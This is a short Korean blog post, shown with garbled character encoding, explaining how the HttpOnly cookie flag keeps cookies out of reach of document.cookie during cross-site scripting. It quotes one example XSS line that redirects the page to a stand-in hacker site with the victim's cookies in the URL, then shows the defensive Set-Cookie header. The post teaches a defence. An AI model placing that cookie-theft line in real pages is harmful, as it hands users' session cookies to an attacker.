๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐Ÿ”’์ •๋ณด๋ณด์•ˆ/์›น ๋ณด์•ˆ

์›น ํ•ดํ‚น - XSS ๊ณต๊ฒฉ์œผ๋กœ document.cookie ์ •๋ณด ๊ฐ€์ ธ์˜ค๊ธฐ ๋ฐฉ์ง€(HttpOnly)

by Janger 2021. 11. 25.
728x90
๋ฐ˜์‘ํ˜•

 

ํ•ด์ปค๋Š” ์•„๋ž˜์ฒ˜๋Ÿผ document.cookie๋ฅผ ํ†ตํ•ด ์ค‘์š”ํ•œ ์ฟ ํ‚ค ์ •๋ณด๋“ค์„ ์ˆ˜์ง‘ํ•˜๋Š” ๊ฒŒ ์ผ๋ฐ˜์ 

location.href = 'http://ํ•ด์ปค์‚ฌ์ดํŠธ/?cookies=' + document.cookie;

 

์„œ๋ฒ„๊ฐ€ ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ์ฟ ํ‚ค ๊ฐ’์„ ์ง€์ •ํ•  ๋•Œ์— HttpOnly๋ผ๋Š” ์˜ต์…˜์„ ์ถ”๊ฐ€์‹œ์ผœ์ฃผ๋ฉด, 

(HttpOnly๊ฐ€ Http๋งŒ ํ—ˆ์šฉํ•˜๊ณ , Https๋Š” ํ—ˆ์šฉํ•˜์ง€ ์•Š๋Š”๋‹ค ์ด๊ฒŒ ์•„๋‹ˆ๋‹ค..)

 

ํด๋ผ์ด์–ธํŠธ๊ฐ€ document.cookie๋ฅผ ์•„๋ฌด๋ฆฌ ์ถœ๋ ฅํ•ด ๋ณด์•„๋„ ํ•ด๋‹น ์ฟ ํ‚ค์— ๋Œ€ํ•œ ์ •๋ณด๋Š” ์ถœ๋ ฅ์ด ๋˜์ง€ ์•Š๋Š”๋‹ค. 

Set-Cookie: ์ฟ ํ‚ค๋ช…=์ฟ ํ‚ค๊ฐ’; path=/; HttpOnly

HttpOnly ์„ค์ •์„ ํ•œ ์ฟ ํ‚ค๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ ‘๊ทผ์„ ํ•  ์ˆ˜ ์—†๋„๋ก ๋˜๋ฒ„๋ฆฐ ๊ฒƒ. 

 

๋‹น์—ฐํžˆ ์„œ๋ฒ„์—๊ฒŒ GET, POST ์š”์ฒญ๋“ฑ์„ ํ•  ๋•Œ์—๋Š” HttpOnly ์„ค์ •๋œ ์ฟ ํ‚ค๋„ ์ž˜ ์ „๋‹ฌ๋œ๋‹ค. 

 

 

 

์ฐธ๊ณ : 

https://nsinc.tistory.com/121

 

[Web] HTTP Only์™€ Secure Cookie ์ดํ•ดํ•˜๊ธฐ

Cookie์— ๋Œ€ํ•œ ์ดํ•ด ์ฟ ํ‚ค๋Š” ASP.NET, PHP์™€ ๊ฐ™์€ ํŠน์ • ๊ธฐ์ˆ ์˜์—ญ์— ๊ตญํ•œ๋œ ๊ฒƒ๋„ ์•„๋‹ˆ๊ณ , ํŠน์ • Client๋‚˜ Server์—๋งŒ ๊ตญํ•œ๋œ ๊ธฐ์ˆ ๋„ ์•„๋‹™๋‹ˆ๋‹ค. ์ฟ ํ‚ค๋Š” ์ˆ˜์‹ญ ๋…„ ์ „๋ถ€ํ„ฐ ์‚ฌ์šฉ๋˜์–ด ์™”์œผ๋ฉฐ ์ตœ๊ทผ์—๋Š” HTTP์— ์žˆ์–ด์„œ

nsinc.tistory.com

 

728x90
๋ฐ˜์‘ํ˜•